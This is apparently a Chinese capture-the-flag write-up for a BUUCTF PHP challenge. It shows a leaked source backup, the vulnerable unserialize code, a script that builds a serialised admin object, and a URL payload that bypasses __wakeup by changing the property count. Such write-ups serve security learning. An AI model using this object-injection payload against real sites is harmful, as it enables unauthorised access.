BUUCTF--[极客大挑战 2019]PHP 1

BUUCTF–[极客大挑战 2019]PHP1

  • 通过页面信息可知,备份了网站,于是我们尝试在网址后加:/www.zip 发现了网站的源码:
  • index.php
 
    include 'class.php';//包含class.php
    $select = $_GET['select'];
    $res=unserialize(@$select);//将serialize序列化文件反序列化
    ?>
  • class.php 中得知username 必须是admin password必须是100

include 'flag.php';//包含flag.php


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"
; echo "You name is: "; echo $this->username;echo "
"
; echo "You password is: "; echo $this->password;echo "
"
; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"
; die(); } } } ?>
  • flag.php 以为flag就是这个但是尝试无果。继续尝试之前代码中所知道的序列化吧。

$flag = 'Syc{dog_dog_dog_dog}';
?>
  • 编写序列化文件

class Name{
	private $username = 'nonono';
	private $password = 'yesyes';
 
	public function __construct($username,$password){
		$this->username = $username;
		$this->password = $password;
	}
}
 
$a = new Name('admin',100);
$b=serialize($a);
echo $b;
// O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 得到序列化值
?>

返回做题页面。url加上:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 其中将2改为3是为了绕过__wakeup 得到flag。

BUUCTF--[极客大挑战 2019]PHP 1_第1张图片

你可能感兴趣的:(CTF)